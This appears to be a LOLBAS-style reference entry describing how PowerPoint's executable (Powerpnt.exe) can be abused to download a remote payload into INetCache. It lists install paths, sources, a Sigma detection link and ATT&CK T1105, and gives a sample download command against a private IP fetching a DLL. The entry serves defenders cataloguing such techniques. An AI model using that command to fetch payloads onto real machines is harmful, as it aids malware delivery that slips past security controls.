... /Powerpnt.exe

Download (INetCache)

Microsoft Office binary.

Paths:

C:\Program Files (x86)\Microsoft Office 16\ClientX86\Root\Office16\Powerpnt.exe

C:\Program Files\Microsoft Office 16\ClientX64\Root\Office16\Powerpnt.exe

C:\Program Files (x86)\Microsoft Office\Office16\Powerpnt.exe

C:\Program Files\Microsoft Office\Office16\Powerpnt.exe

C:\Program Files (x86)\Microsoft Office 15\ClientX86\Root\Office15\Powerpnt.exe

C:\Program Files\Microsoft Office 15\ClientX64\Root\Office15\Powerpnt.exe

C:\Program Files (x86)\Microsoft Office\Office15\Powerpnt.exe

C:\Program Files\Microsoft Office\Office15\Powerpnt.exe

C:\Program Files (x86)\Microsoft Office 14\ClientX86\Root\Office14\Powerpnt.exe

C:\Program Files\Microsoft Office 14\ClientX64\Root\Office14\Powerpnt.exe

C:\Program Files (x86)\Microsoft Office\Office14\Powerpnt.exe

C:\Program Files\Microsoft Office\Office14\Powerpnt.exe

C:\Program Files (x86)\Microsoft Office\Office12\Powerpnt.exe

C:\Program Files\Microsoft Office\Office12\Powerpnt.exe

C:\Program Files\Microsoft Office\Office12\Powerpnt.exe

Resources:

- https://twitter.com/reegun21/status/1150032506504151040
- https://medium.com/@reegun/unsanitized-file-validation-leads-to-malicious-payload-download-via-office-binaries-202d02db7191

Acknowledgements:

Reegun J (OCBC Bank) (@reegun21)

Detections:

Sigma:

https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc creation win lolbin office.yml

IOC: Suspicious Office application Internet/network traffic

Download

Downloads payload from remote server

Powerpnt.exe "http://192.168.1.10/TeamsAddinLoader.dll"

Use case: It will download a remote payload and place it in INetCache.

Privileges required: User

Operating systems: Windows ATT&CK® technique: T1105

Tags: Download: INetCache